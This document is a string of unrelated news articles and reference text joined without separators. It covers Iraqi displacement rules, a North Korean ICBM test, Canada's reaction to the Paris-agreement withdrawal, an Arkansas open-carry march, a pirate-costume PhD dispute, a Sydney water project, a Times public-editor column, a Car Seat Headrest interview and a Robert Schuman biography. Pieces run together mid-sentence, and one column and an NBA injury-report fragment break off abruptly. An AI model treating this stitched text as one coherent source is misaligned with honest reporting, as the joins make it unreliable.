Under the UN Guiding Principles on Internal Displacement, the Iraqi authorities, including the KRG, have the primary duty and responsibility to establish conditions, as well as provide the means, which allow internally displaced persons to return voluntarily, in safety and with dignity, to their homes, or to resettle voluntarily in another part of the country. Such authorities shall endeavor to facilitate the reintegration of returned or resettled internally displaced persons They should make special efforts to ensure the full participation of internally displaced persons in the planning and management of their return or resettlement and reintegration.North Korea Says Successful ICBM Test Shows U.S. Is In Striking Distance
Enlarge this image toggle caption Ed Jones/AFP/Getty Images Ed Jones/AFP/Getty Images
Updated at 8:25 p.m. ET
North Korea said early Saturday that its intercontinental ballistic missile test on Friday showed its program could hit the United States, according to a statement reported by The Associated Press and Reuters.
The U.S. Department of Defense says the missile, which launched just before midnight local time, traveled roughly 620 miles — from the country's northern province of Jagang to the Sea of Japan, where it finally splashed into the waters off Japan's west coast.
There have been no immediate reports of damage, and Pentagon spokesman Capt. Jeff Davis says the North American Aerospace Defense Command "determined the missile launch from North Korea did not pose a threat to North America."
In response to the launch, the Pentagon announced that it had conducted a precision missile firing exercise with South Korea.
President Trump released a statement calling the launch "only the latest reckless and dangerous action by the North Korean regime."
"The United States condemns this test and rejects the regime's claim that these tests—and these weapons—ensure North Korea's security. In reality, they have the opposite effect. By threatening the world, these weapons and tests further isolate North Korea, weaken its economy, and deprive its people. The United States will take all necessary steps to ensure the security of the American homeland and protect our allies in the region."
The launch — which the Pentagon was expecting, according to Davis — comes just weeks after the government in Pyongyang marked a milestone by conducting its first successful ICBM test. The missile launched Friday, however, flew farther than the one the country fired July 4 — and demonstrated greater capabilities.
"It does appear that at a minimum this missile may go up to 10,000 kilometers (6,200 miles), but it may go as far as 11,000 kilometers (6,800 miles)," Melissa Hanham, senior research associate with the East Asia Nonproliferation Program at the Middlebury Institute, tells NPR's Robert Siegel.
"And that puts all of the West Coast and the Midwest in range at 10,000 kilometers," Hanham adds, "and at 11,000 kilometers, pretty much every U.S. state but Florida is in range."
To this point, the international community has attempted various approaches to slow the progress of North Korea's weapons program, none of them particularly fruitful.
Less than two weeks ago, for instance, the South Korean government made a rare diplomatic overture to Pyongyang, seeking new military talks with Kim Jong Un's regime. That offer was never accepted.
South Korea and much of the rest of the world have long tried another tack, as well: sanctions for violating international law with its missile tests. But NPR's Elise Hu notes that approach has proven less successful than hoped for:
"Despite 'tough-on-paper' sanctions designed to stop the flow of nuclear weapons material into North Korea as well as to deliver economic punishment on the regime, the latest research shows the numerous countries expected to enforce the sanctions aren't doing so. The reasons the sanctions have fallen short include: The sanctions are too complicated to implement, private businesses independently aid North Korea (knowingly or not), and Pyongyang has grown increasingly deft in evading sanctions as it has become more isolated."
In the meantime, Hanham says the U.S. military has sought to buttress its missile defense, even going so far as to shoot down a mock ICBM in a recent test. But she cautions "those tests aren't very realistic when it comes to a real war scenario."
"The terrible problem with North Korea is that there's really no good options. And that's why we haven't had an enormous amount of success in the past," Hanham says. "You know, there are very few options and all of them are bad."
The long-running animus between North Korea and its neighbors and the U.S. has only escalated in recent weeks, with the rivals trading increasingly barbed words.
North Korea is "the single most dangerous threat facing the international community right now," Gen. Mark Milley, the chief of staff of the U.S. Army, told the National Press Club on Thursday. "It is clear, based on [the ICBM launch] over the July 4 weekend, that North Korea has advanced significantly and quicker than many had expected."
He added that North Korea's military threat is "the one thing I'm worried about."
"A war on the Korean Peninsula would be highly deadly. It would be horrific," Milley said. "The United States military, in combination with the South Korean military, would utterly destroy the North Korean military — but that would be done at high cost in terms of human life."
In his statement Friday, Davis reaffirmed U.S. support for its allies in the region.
"Our commitment to the defense of our allies, including the Republic of Korea and Japan, in the face of these threats, remains ironclad," Davis said. "We remain prepared to defend ourselves and our allies from any attack or provocation."Prime Minister Justin Trudeau has spoken with Donald Trump and expressed his disappointment with the U.S. president's decision to pull out of the Paris climate change agreement.
According to a statement released by the Prime Minister's Office, the two leaders spoke after Trump made his announcement about withdrawing from the deal earlier Thursday. They also discussed trade relations between the two countries, according to the statement.
The Prime Minister's Office released a statement from Trudeau reacting to the U.S. decision to abandon the global climate deal.
"We are deeply disappointed that the United States federal government has decided to withdraw from the Paris agreement," Trudeau said in the statement. "Canada is unwavering in our commitment to fight climate change and support clean economic growth. Canadians know we need to take decisive and collective action to tackle the many harsh realities of our changing climate."
Trudeau said that the U.S. decision is disappointing, but there was "growing momentum" around the world to stay in the fight and transition to a clean growth economy.
"This is about an ambitious and unshakable desire to leave a cleaner, healthier and more sustainable planet for our kids and for generations to come," Trudeau said.
The prime minister said he would continue to work with the U.S. "at the state level" and to continue to reach out to the U.S. federal government to make the case that fighting climate change is "of critical importance for all humankind."
Global growth in clean tech
Canada's Environment Minister Catherine McKenna called Trump's Rose Garden announcement "deeply disappointing," and suggested the president is costing the U.S. a golden opportunity to profit from the inevitable growth of clean-tech initiatives around the globe.
"The clean-growth economy is where the world is going and Canada is going to be part of it," McKenna said on Parliament Hill following Thursday's White House news conference.
"Canada wants to create good jobs, and wants to grow our economy and create opportunities for business. We want to be there, we want to be providing solutions for the world. We know where we're going."
Other significant stakeholders in the U.S. disagree with the president's decision, McKenna said.
Minister of Environment Catherine McKenna: If the U.S. is going to step back, we’re going to step up 6:21
"I've seen in the United States that businesses support the Paris accord and climate action; businesses support it, cities support it and everyone's moving forward, in the United States and around the world," she said.
"It's unfortunate that the U.S. administration says they're pulling out of the Paris agreement, but you can't stop progress."
One of those in the U.S. disappointed with the decision is former U.S. presidential candidate Mitt Romney who posted his reaction to the decision on Twitter.
Affirmation of the <a href="https://twitter.com/hashtag/ParisAgreement?src=hash">#ParisAgreement</a> is not only about the climate: It is also about America remaining the global leader. —@MittRomney
France reacts
In an unusual move, newly elected French President Emmanuel Macron posted a video on Twitter, addressing Americans, and the world directly, in English.
"The president of the United States, Donald Trump, announced his decision to withdraw the United States from the Paris agreement. I do respect this decision, but I do think it is an actual mistake, both for the U.S. and for our planet."
Macron addressed Americans directly, saying the world believes in them, before inviting scientists and businesses discouraged by Trump's decision to move to France and make it their "second homeland."
"I call on them — come here and work here with us, to work together on concrete solutions for our climate, our environment. I can assure you France will not give up the fight."
Macron said the Paris agreement was "irreversible" and would be implemented by the rest of the world.
"We will succeed because we are fully committed," Macron said. "Because wherever we live, whoever we are, we all share the same responsibility: Make our planet great again."
Statement on the US' withdrawal from the Paris climate agreements. <a href="https://twitter.com/hashtag/parisagreement?src=hash">#parisagreement</a><a href="https://t.co/T4XOjWZW0Q">https://t.co/T4XOjWZW0Q</a> —@EmmanuelMacron
Trump spoke with Macron before the French president's global address, and the U.S. president also spoke with the leaders of Germany and Britain, who both expressed disappointment with the move.
A spokesperson for U.K. Prime Minister Theresa May told Reuters that the Paris agreement is a global framework for protecting prosperity and the security of future generations.
Reuters is also reporting that Mexican President Pena Nieto said his country will remain committed to the Paris climate deal. The Mexican Foreign Ministry went as far as to say that actions to stop climate change are a "moral imperative."
The U.S. joins Syria and Nicaragua as the only two countries that are part of the United Nations Framework Convention on Climate Change who are not parties to the Paris agreement.A dozen gun rights supporters plan to march in a western Arkansas city this weekend with their firearms on display to highlight a law that they argue allows the open carry of handguns, despite an attorney general's opinion saying otherwise.
Arkansas Carry, a gun rights group, on Saturday plans to hold an invitation-only "open carry" march in Fort Smith to highlight the disputed law, which took effect Aug. 16. Attorney General Dustin McDaniel last month said the new law makes technical corrections regarding the possession of a handgun but didn't remove the restrictions on carrying weapons openly.
Arkansas law currently states that being on a journey is a defense to prosecution for illegally carrying a weapon, but doesn't define what constitutes a journey. The new law defines a journey as traveling "beyond the county in which the person lives."
The head of Arkansas Carry, which has about 200 members in the state, says the advisory opinion by McDaniel is wrong.
"Basically we're going to do the walk because it's legal and we're trying to show that act 746 does authorize open carry contrary to what the attorney general said," Steve Jones, the group's chairman, said Thursday.
Jones said the group coordinated the event with police and prosecutors, though city officials say they're staying out of the debate over McDaniel's opinion. In an email to officers, Fort Smith Police Chief Kevin Lindsey wrote that the city prosecutor advised him there wouldn't be a violation of the law unless "an officer could prove that there was an unlawful attempt to employ a handgun, knife, or club as a weapon against a person."
PHOTO: A semi-automatic handgun and a holster are displayed at a North Little Rock, Ark., gun shop Thursday, Aug. 22, 2013. A march by by advocates of open carrying of guns is planed for Saturday, Aug. 24, 2013 in Fort Smith, Ark. (AP Photo/Danny Johnston)A semi-automatic handgun and a holster are displayed at a North Little Rock, Ark., gun shop Thursday, Aug. 22, 2013. A march by by advocates of open carrying of guns is planed for Saturday, Aug. 24, 2013 in Fort Smith, Ark. (AP Photo/Danny Johnston)
A spokesman for the department said there will be a patrol car on hand at Saturday's march.
"This has been coordinated and we've conversed back and forth that as long as everyone is lawfully in possession with the first initial stages, it is permissible to carry a handgun under these certain situations and if they're carrying it not with the intent to, they can't be arrested for carrying a weapon," Sgt. Daniel Grubbs, a spokesman for the department. "The chief is not really getting into the debate of agreeing or disagreeing with the AG's opinion. It's 'you've given us a scenario, here's what you'd like to do, as long as everyone is lawfully in possession, they're legally able to possess one and they don't commit any type of crime, no one is going to be arrested.'"
A spokesman for McDaniel declined to comment on Saturday's event. The attorney general, in last month's advisory opinion, said the "journey" exception was meant to allow Arkansans to "protect themselves from the dangers of the open road."
"A person does not fall within Act 746's 'journey' exception to the statutes relating to the possession and carrying of a handgun simply because the person has left the county in which he or she lives," the opinion said. "Stated differently, I do not interpret Act 746 as authorizing so-called 'open carry.'"
Jones said the group is looking at holding similar marches in other cities to highlight the law.A researcher has taken a Dutch university to the country’s Institute for Human Rights for not allowing him to defend his PhD dressed as a pirate.
Environmental engineer Michael Afanasyev says that he is a priest of the Church of the Flying Spaghetti Monster, an organisation that lampoons what it claims are special exemptions for religious people.
He told the Dutch paper De Volkskrant: “Muslims can wear headscarves on their passport pictures for religious motives, and Sikhs can wear turbans.” He questioned the university’s right to determine what was important to his religion.
Mr Afanasyev, studying at Delft University of Technology, has previously successfully obtained an Israeli passport in which he wears a colander on his head, in honour of the Spaghetti Monster.
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Pirates are a key part of the satirical religion. “Believers” have pointed out that there is a direct inverse correlation between the number of pirates in the world and rising global temperatures.
The university told the newspaper that PhD defendants needed to wear “formal” attire. Headscarves would be allowed if they did “justice to the subdued character” of the occasion, but a pirate costume was not appropriate, it stated.
david.matthews@timeshighereducation.comSydney's drinking water to improve with $100m mine water project, securing 600 jobs
Updated
A mine water treatment project aimed at improving water quality in Coxs River, which runs into Sydney's drinking water catchment, has been given the green light.
The Planning Assessment Commission has approved the Springvale Water Treatment Project, which will involve building a pipeline to divert salty water discharges from Springvale mine near Lithgow to Mount Piper power station for treatment.
The Springvale mine is the only source of coal for Mount Piper power station, which produces 15 per cent of New South Wales' electricity.
The mine and power station each employ about 300 people, and the site's owners, Centennial Coal and EnergyAustralia, have argued the water treatment project was vital to the future operations.
There have been long-running concerns about the wastewater being released into Sydney's drinking water catchment.
But Katie Brassil from Centennial Coal, said the project would completely address those issues.
"We've actually delivered on the commitment that we made," Ms Brassil said.
"The big job for us, now, is to get on and construct this really important piece of regional infrastructure, but we've got overwhelming support at the [Planning Assessment Commission] meeting and from the local community."
The Colong Foundation director Keith Muir said the water treatment project was a win for the environment and Sydney's drinking water.
"We're very happy about that; we just wish that it happened many years ago," Mr Muir said.
Conservationists concerned about project's timeline
But Mr Muir said he was worried about a condition included in the project's approval that would give the proponent two years to bring the changes into effect.
He said this would mean another two years of salty water discharges in the river before the situation improved.
"I don't see why the environment has to wait all this time before it improves, and you have to remember that this is the drinking water supply for Sydney we're talking about," Mr Muir said.
It has been a nervous time for the Lithgow region as the mine and power station faced potential closure if the project was not approved by June 30, because the mine would not be operating within its licence conditions.
Ms Brassil said the favourable decision came as a relief for the local community.
"Job security in a regional area is absolutely paramount, as is energy reliability, and I'm sure that the Lithgow community is going to be very pleased with this outcome," she said.
Topics: mining-environmental-issues, coal, lithgow-2790, sydney-2000
First postedMichael Kinsley’s review of Glenn Greenwald’s new book, “No Place to Hide” hasn’t even appeared in the printed Book Review yet – that won’t happen until June 8 – but it’s already infuriated a lot of people. After the review was published online last week, many commenters and readers ( and Mr. Greenwald himself ) attacked the review, which was not only negative about the book but also expressed a belief that many journalists find appalling: that news organizations should simply defer to the government when it comes to deciding what the public has a right to know about its secret activities.
In the most heavily criticized passage of the review, Mr. Kinsley wrote:
The question is who decides. It seems clear, at least to me, that the private companies that own newspapers, and their employees, should not have the final say over the release of government secrets, and a free pass to make them public with no legal consequences. In a democracy (which, pace Greenwald, we still are), that decision must ultimately be made by the government. No doubt the government will usually be overprotective of its secrets, and so the process of decision-making — whatever it turns out to be — should openly tilt in favor of publication with minimal delay. But ultimately you can’t square this circle. Someone gets to decide, and that someone cannot be Glenn Greenwald.
It’s not the first time that Mr. Kinsley has expressed these kinds of sentiments, as some astute Times readers noted.
Tom Barrett, of Edmonton, Alberta, wrote to my office with this observation:
I suspect I am not the only reader to be perplexed at the choice of Michael Kinsley to review Glenn Greenwald’s new book. The result is as predictable in its own way as having Jeremy Scahill review it, or James Clapper. Wouldn’t it have been better to have chosen someone with a more balanced take on both Greenwald and the arguments he makes to evaluate the book? One cannot entirely escape the disturbing suspicion that Kinsley was chosen because of Greenwald’s repeated criticism of the mainstream media in general and the Times in particular. I am nearly finished reading the book and will make my own judgment, but I feel let down by the decision to choose someone guaranteed to produce a hatchet job.
Brant Freer of Troy, Mich., wrote to describe the review as “a vicious attack not only on Greenwald but also generally on journalism in the public interest.”
I asked the Book Review editor, Pamela Paul, why Mr. Kinsley was chosen to review the book. The intention, she said, was not to produce a particular point of view or to somehow exact revenge for Mr. Greenwald’s criticism of The Times.
She wrote to me in an email:
We chose Michael Kinsley, a frequent contributor to the Book Review (he recently reviewed “Double Down” for us, and before that “Going Clear”), because he has decades of experience in news journalism as well as in book criticism, has written extensively about the media and current affairs, and is thoughtful and smart in his approach to reviewing.
Ms. Paul said that she was aware of the negative reaction to the review but that there had also been “some very strong positive responses.” She added: “I think this is one of those subjects that people have strong feelings about, and there are obviously entrenched interests on either side.” As for the piece itself, she said, “It is a smart, lively, well-written review that took a point of view about the book and the subject matter.”
Here’s my take: Book reviews are opinion pieces and — thanks to the principles of the First Amendment — Mr. Kinsley is certainly entitled to freely air his views. But there’s a lot about this piece that is unworthy of the Book Review’s high standards, the sneering tone about Mr. Greenwald, for example; he is called a “go-between” instead of a journalist and is described as a “self-righteous sourpuss.” (I’ve never met Mr. Greenwald, though I’ve written about his work, as Mr. Kinsley notes.)
But worse, Mr. Kinsley’s central argument ignores important tenets of American governance. There clearly is a special role for the press in America’s democracy; the Founders explicitly intended the press to be a crucial check on the power of the federal government, and the United States courts have consistently backed up that role. It’s wrong to deny that role, and editors should not have allowed such a denial to stand. Mr. Kinsley’s argument is particularly strange to see advanced in the paper that heroically published the Pentagon Papers, and many of the Snowden revelations as well. What if his views were taken to their logical conclusion? Picture Daniel Ellsberg and perhaps the Times reporter Neil Sheehan in jail; and think of all that Americans would still be in the dark about — from the C.I.A.’s black sites to the abuses of the Vietnam War to the conditions at the Walter Reed Army Medical Center to the widespread spying on ordinary Americans.
Yes, as Ms. Paul rightly noted to me, it’s true that a book review is not an editorial, and the two shouldn’t be confused. And she told me that she doesn’t believe that editing should ever change a reviewer’s point of view. But surely editing ought to point out gaping holes in an argument, remove ad hominem language and question unfair characterizations; that didn’t happen here.
A Times review ought to be a fair, accurate and well-argued consideration of the merits of a book. Mr. Kinsley’s piece didn’t meet that bar.
Updated, 9:22 p.m. | After the above post was published, Ms. Paul offered some further response. It is as follows:Self-described "nervous young man" Will Toledo started recording music in his bedroom as a teenager.
First, he would lay down a bed of raw electric guitars and lo-fi synths via the crappy built-in mic on his computer.
Then he would drive the family station-wagon to sparsely populated car parks around Williamsburg, Virginia, climb into the back seat, and record the vocals onto his laptop.
"My room at home had real thin walls and not much privacy," he tells me from that very same house. Now 24, Toledo lives in Seattle these days, but he's at home on holiday when I call, visiting his parents.
Will Toledo of Car Seat Headrest: "I recorded those early albums in the back seat in car parks."
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"So I would drive to the far corners of big parking lots outside stores people didn't attend very often, or church parking lots on days when there were no services."
In part, it was peace and privacy he was after, but Toledo also wanted to prove that great records could be made anywhere.
"You get engineers and producers talking lovingly about the acoustics of certain studios, but I always felt like the location of a recording had no effect whatsoever on its quality. It's more about the people making the music, so I'd place myself in these environments no one else would use, and record songs into my laptop in the back seat."
Great songs, as it happens. Insightful, funny, invariably angsty and occasionally wise, with both lyrics and backing tracks stuffed with cunning references to bands he loved: REM, Pavement, Jandek, Nirvana, The Who, Radiohead, Swans.
The audience, for his early songmaking sessions? Just those empty station-wagon seats, their headrests jutting up like listening heads. Hence Toledo's heroically mundane band name, Car Seat Headrest.
Will Toledo (left), now fronting a full band.
And as a bookish teenager with a vivid imagination and turbulent emotional life, there was no shortage of source material for songs; Toledo self-released 11 albums online via Bandcamp in just four years.
"I wanted to make records people could latch onto at a deeper level than most of the music I see being made these days," he tells me in a slow monotone.
"All the records I grew up on had already lasted decades before I even discovered them – people like The Beatles, The Who and later, Pink Floyd. Between those three bands somewhere were planted the seeds of my own songwriting abilities, and I still listen to all those bands regularly now. That music has really held up over time, so it made sense for me to try and make songs like that, too. And people have really responded to that."
Indeed. Over the last year or so, Toledo has been anointed as nothing less than the newly risen lord and saviour of indie guitar music. "The voice of a generation that doesn't want a voice" reckoned online mag The Brag, while Popmatters called him "indie rock's next great hope". Not to be outdone, Consequence of Sound proclaimed Toledo "The Indie Rock Hero We've Been Waiting For".
After releasing two albums on major American independent label Matador, his previous cult following has blossomed into a substantial global audience. Toledo now fronts a band rather than recording solo, and is one of the chief drawcards for Auckland's upcoming Laneway Festival, taking place at Albert Street Precinct on January 30.
It's hard to tell how he feels about his burgeoning fame. Though his songs are often strafed with wit, Toledo is your archetypal "Serious Young Man" in person, with little perceptible sense of humour. He speaks about his work with neither warmth nor hostility: a gifted introvert who suddenly finds himself squirming slightly under the spotlight, being interrogated about his life and music and then, often as not, misrepresented.
Chona Katsinger Will Toledo a.k.a. Car Seat Headrest: clean cut indie hero?
"I haven't been very impressed with most articles in the high-profile outlets. I've gone into every interview with the mindset that I'll say thoughtful and original things and put my heart into describing what I do, but when the story comes out, I can barely recognise myself in the final article. The author clearly had their own agenda, then just chose a few of my quotes to illustrate that. I've become a little disillusioned with the whole process."
So, what are all these highly complimentary stories – which appear everywhere from free fanzines and bleeding edge blogs to The Guardian and the New York Times – leaving out, or misrepresenting?
"Really, the problem is more a tone they adopt. For one thing, that whole 'indie rock hero' thing; I don't even think about my music as indie rock, really. It's kind of unflattering, and undersells the amount of effort I put into my songs. Indie rock nowadays is a more gentle blend of things that were going on in the 90s, whereas I'm trying to make music that's vital and surprising, without any sort of glib genre name."
Vital and surprising. You could find no better descriptors for Toledo's most recent album, Teens Of Denial, which was the best guitar record I heard last year.
The maker might be aloof and measured in person, but this record is anything but, with brash lyrical couplets bolted to guitar music that's vivid, muscular, ambitious, unpredictable.
It's easy to hear what all the fuss is about. Toledo might reckon proper studios add little to a recording, but he used one this time around, and a producer, too: Steve Fisk, who previously worked with Nirvana, Soundgarden, Mudhoney and many more
Will Toledo: "I’m happier now that I was when I was writing this record.”
Result? More focus, fizz and power. Here we have the same themes Toledo wrestled with on his earlier self-recorded albums- loneliness, anxiety, information overload, drugs, God, other people's pop songs – strapped onto leaner, punchier backing tracks.
The line between comedy and tragedy is blurred on many songs. One song sees Jesus turning up to chastise Toledo while he's tripping on psychedelic drugs at a friend's house.
Another song finds our narrator disappointed that he "did not transcend" after taking acid and magic mushrooms, instead spending much of his time preoccupied by the fact that he's wearing such a hideously unbecoming jacket.
The break-up ballad Cosmic Hero extracts pleasure from the notion that Toledo will eventually find solace in the afterlife, while his ex will not: "I will go to Heaven/ I won't see you there!".
And 11 minute album centrepiece Ballad of the Costa Concordia considers human inadequacy from an unexpected angle, with Toledo comparing assorted minor adolescent irritations –losing a job, canning off his pushbike, forgetting his backpack at a basketball game – with the plight of the cowardly captain who jumped into the lifeboat early after running his cruise liner aground off the Italian coast in 2012, a disaster that killed 32 people.
"I wasn't intending that songs to be a joke, actually," he protests. "But I can see how people might read it that way. But you're right about my own emotional life supplying a lot of material. I feel like over the next few years I'll be dealing with enough stuff to keep me in meaningful content. And in a way, writing and recording are a retreat from the other parts of my life which are more anxiety provoking. Writing and recording are more introspective and sometimes solitary processes than touring or talking about your music, and they're the parts of making music I like most."
Teens Of Denial is a record that seems to both condense and amplify what it means to be young, smart and disaffected in modern America. Toledo wrestles with his own ego throughout, switching between flashes of arrogance and deep insecurity, bemusement and despair.
There's a real feeling of tension throughout, between taut, anthemic instrumental arrangements and the vulnerability of Toledo's lyrics. And the singer's delivery seals the deal.
On songs such as Hippie Power, Toledo's voice is a marvel to behold, the tone swooping up from a jaded baritone to wild, cracking yelps that recall Pavement's Steve Malkmus at his most unhinged.
"I feel like an influence of bands like Nirvana and Green Day comes through there, maybe," says Toledo with an audible shrug. "Especially Kurt Cobain. I was always trying to match his screams in high school. I guess I like rock music like that that wears its emotions on its sleeve."
Toledo's early records largely explored the loneliness and confusion of being a teenager. Teens Of Denial, meanwhile, was written and recorded during his early 20s, in those transitional years after leaving university. One writer ventured the opinion that the album's prevailing theme was "the anticlimax of adulthood".
"Yeah, I guess that's true. When I came out of my teen years, I found that nothing particularly new or better was waiting for me, and I was pretty frustrated about that. I couldn't see a really satisfying path for myself into adulthood. But since then, I've made some steps towards finding that. I still have good and bad times, ebbs and peaks, but I'm happier now that I was when I was writing this record."
One reason for the current "Cult of Car Seat" is surely nostalgia, given that his music is so reminiscent of other extraordinary bands who've been flag-bearers for the Matador label in the past.
One critic defined Toledo's musical style as a sort of "every Matador band in a blender sound", noting strands of recombined DNA from Yo La Tengo, Belle and Sebastian, Pavement/ Steve Malkmus and Guided By Voices, among others. This was intended as high praise, but Toledo doesn't take it that way.
"I have to hope that similarity's just a phase, I guess, and make stuff that sounds more like my own original content. But yeah, you can hear my influences in there, for sure. Really, what I hope people come away with when they listen to these tunes is some sort of emotional catharsis, and some of those other bands you mention really did that for people. There's a lot of emotional sustenance to be found in certain records that become important to you. I would listen to those records over and over and feel better about myself. That's what good records have done for me, and I can only hope I'm now making those sorts of records for other people, too."
Will Toledo/ Car Seat Headrest play Auckland's Laneway Festival on Monday Jan 30 at Albert Park Precinct. For more information, see auckland.lanewayfestival.com/Injury Report Atlanta Hawks Player Pos Date Injury Status Expected Return Kevin H |
and statistics at the Universities of Berlin, Munich, Bonn and Strasbourg, and received a law degree with the highest distinction from Strasbourg University.[2] In 1912 Schuman set up practice as a lawyer in Metz. When war broke out in 1914 he was called up for the auxiliary troops by the German army in Metz but excused from military service on health grounds. From 1915 to 1918 he served in the administration of the Boulay district.[3]
Inter-war period [ edit ]
After the First World War, Alsace-Lorraine was returned to France and Schuman became a French citizen in 1919. Schuman became active in French politics. In 1919 he was first elected as député to parliament on a regional list, and later serving as the député for Thionville (Moselle) until 1958 with an interval during the war years. He made a major contribution to the drafting and parliamentary passage of the reintroduction of the French Civil and Commercial codes by the French parliament, after that the Alsace-Lorraine region, until there under the German domain (and the German law) came back to France. This harmonization of the regional law with the French law was called "Lex Schuman".[4] Schuman also investigated and patiently uncovered postwar corruption in the Lorraine steel industries and in the Alsace and Lorraine railways, both bought by a derisory price by the powerful and influential de Wendel family, what he called in the Parliament "a pillage".[5]
World War II [ edit ]
In 1940, because of his expertise on Germany, Schuman was called to become a member of Paul Reynaud's wartime government, in charge of the refugees. He kept that charge during the first Pétain government. On 10 July, he voted to give full power to Hitler's ally Marshal Pétain, but refused to continue to be in the government. Later that year, on 14 September, he was arrested for acts of resistance and protest against Nazi methods. He was interrogated by the Gestapo but thanks to the intervention of a German lawyer, he was saved from being sent to Dachau. Transferred as a personal prisoner of Gauleiter Joseph Buerckel, he escaped in 1942 and re-joined the French Resistance.[citation needed] He addressed large conferences in the Free Zone explaining why the defeat of Germany was inevitable.[citation needed] This was at a time when Nazi Germany was at the peak of its power. The Germans then invaded the Free Zone. Although his life was still at risk, he spoke to friends about a Franco-German and European reconciliation that must take place after the end of hostilities, as he had already done in 1939–40.[citation needed]
French minister [ edit ]
Schuman at the French embassy in Washington, after the signature of the treaty that created NATO, in April 1949.
After the war, Schuman rose to great prominence. He initially had difficulties because of his 1940 vote and his tenure as Pétain's minister. The Defence minister Andre Diethelm [fr] stated that "this Vichy product should be immediately kicked out", as all those who had voted for Pétain, should be ineligible.[clarification needed] He was stricken with "Indignité nationale". On 24 July 1945, Schuman wrote to General de Gaulle to ask him to intervene. De Gaulle answered favorably, and on 15 September, Schuman regained his full civic rights,[6] becoming able to again play an active role in French politics. He was Minister of Finance, then Prime Minister from 1947–1948, assuring parliamentary stability during a period of revolutionary strikes and attempted insurrection. In the last days of his first administration, his government proposed plans that later resulted in the Council of Europe and the European Community single market.[7] Becoming Foreign Minister in 1948, he retained the post in different governments until early 1953. When Schuman's first government had proposed the creation of a European Assembly, it made the issue a governmental matter for Europe, not merely an academic discussion or the subject of private conferences, like The Hague Congress of the European Movements earlier that year. (Schuman's was one of the few governments to send active ministers.) This proposal saw life as the Council of Europe and was created within the tight schedule Schuman had set. At the signing of its Statutes at St James's Palace, London, 5 May 1949, the founding States agreed to defining the frontiers of Europe based on the principles of human rights and fundamental freedoms that Schuman enunciated there. He also announced a coming supranational union for Europe that saw light as the European Coal and Steel Community and other such Communities within a Union framework of common law and democracy.
We are carrying out a great experiment, the fulfillment of the same recurrent dream that for ten centuries has revisited the peoples of Europe: creating between them an organization putting an end to war and guaranteeing an eternal peace. The Roman church of the Middle Ages failed finally in its attempts that were inspired by humane and human preoccupations. Another idea, that of a world empire constituted under the auspices of German emperors was less disinterested; it already relied on the unacceptable pretensions of a ‘Führertum’ (domination by dictatorship) whose 'charms' we have all experienced. Audacious minds, such as Dante, Erasmus, Abbé de St-Pierre, Rousseau, Kant and Proudhon, had created in the abstract the framework for systems that were both ingenious and generous. The title of one of these systems became the synonym of all that is impractical: Utopia, itself a work of genius, written by Thomas More, the Chancellor of Henry VIII, King of England. The European spirit signifies being conscious of belonging to a cultural family and to have a willingness to serve that community in the spirit of total mutuality, without any hidden motives of hegemony or the selfish exploitation of others. The 19th century saw feudal ideas being opposed and, with the rise of a national spirit, nationalities asserting themselves. Our century, that has witnessed the catastrophes resulting in the unending clash of nationalities and nationalisms, must attempt and succeed in reconciling nations in a supranational association. This would safeguard the diversities and aspirations of each nation while coordinating them in the same manner as the regions are coordinated within the unity of the nation. Robert Schuman, speaking in Strasbourg, 16 May 1949[8]
As Foreign Minister, he announced in September 1948 and the following year before the United Nations General Assembly, France's aim to create a democratic organisation for Europe which a post-Nazi and democratic Germany could join.[9] In 1949–50, he made a series of speeches in Europe and North America about creating a supranational European Community.[8] This supranational structure, he said, would create lasting peace between Member States.
Our hope is that Germany will commit itself on a road that will allow it to find again its place in the community of free nations, commencing with that European Community of which the Council of Europe is a herald. Robert Schuman, speaking at the United Nations, 23 September 1949[9]
On 9 May 1950, these principles of supranational democracy were announced in what has become known as the Schuman Declaration.[10] The text was jointly prepared by Paul Reuter, the legal adviser at the Foreign Ministry, his chef-de Cabinet, Bernard Clappier [fr] and Jean Monnet and two of his team, Pierre Uri and Etienne Hirsch. The French Government agreed to the Schuman Declaration which invited the Germans and all other European countries to manage their coal and steel industries jointly and democratically in Europe's first supranational Community with its five foundational institutions. On 18 April 1951 six founder members signed the Treaty of Paris (1951) that formed the basis of the European Coal and Steel Community. They declared this date and the corresponding democratic, supranational principles to be the'real foundation of Europe'. Three Communities have been created so far. The Treaties of Rome, 1957, created the Economic community and the nuclear non-proliferation Community, Euratom. Together with intergovernmental machinery of later treaties, these eventually evolved into the European Union. The Schuman Declaration, was made on 9 May 1950 and to this day 9 May is designated Europe Day.
As Prime Minister and Foreign Minister Schuman was instrumental in the creation of the North Atlantic Treaty Organisation (NATO). Schuman also signed the Treaty of Washington (1949) for France. The defensive principles of NATO's Article 5 were also repeated in the European Defence Community Treaty which failed as the French National Assembly declined to vote its ratification. Schuman was a proponent of an Atlantic Community.
European politics [ edit ]
On 19 March 1958, the first meeting of the European Parliamentary Assembly was held in Strasbourg under the Presidency of Robert Schuman.
Schuman later served as Minister of Justice before becoming the first President of the European Parliamentary Assembly (the successor to the Common Assembly) which bestowed on him by acclamation the title 'Father of Europe'. He is considered one of the founding fathers of the European Union. He presided over the European Movement from 1955 to 1961. In 1958 he received the Karlspreis,[11] an Award by the German city of Aachen to people who contributed to the European idea and European peace, commemorating Charlemagne, ruler of what is today France and Germany, who resided in and is buried at Aachen. Schuman was also made a knight of the Order of Pius IX.[12]
Schuman was an intensely religious man and a Bible scholar.[13] He commended the writings of Pope Pius XII who condemned both fascism and communism. He was an expert in medieval philosophy,[13] especially the writings of St. Thomas Aquinas,[14] and he thought highly of the philosopher Jacques Maritain, a contemporary.[15]
Memorials [ edit ]
The Schuman District of Brussels (including a metro/railway station and a tunnel, as well as a square) is named in his honour. Around the square ("Schuman roundabout") can be found various European institutions, including the Berlaymont building which is the headquarters of the European Commission and has a monument to Schuman outside, as well as key European Parliament buildings. In the nearby Cinquantenaire Park, there is a bust of Schuman as a memorial to him. The European Parliament awards the Robert Schuman Scholarship[16] for university graduates to complete a traineeship within the European Parliament and gain experience within the different committees, legislative processes and framework of the European Union.
A Social Science University named after him lies in Strasbourg (France) along with the Avenue du President Robert Schuman in that city's European Quarter. In Luxembourg there is a Rond Point Schuman,[17] Boulevard Robert Schuman, a school called Lycée Robert Schuman and a Robert Schuman Building, of the European Parliament. In Esch-sur-Alzette, Luxembourg, there is a Rue Robert Schuman.[18] The house where he was born was restored by the European Parliament and can be visited, as can his home in Scy-Chazelles just outside Metz.
In Aix-en-Provence, a town in Bouches-du-Rhone, France, there is an Avenue Robert Schumann, which houses the three university buildings of the town and in Ireland there is a building in the University of Limerick named the "Robert Schuman" building.
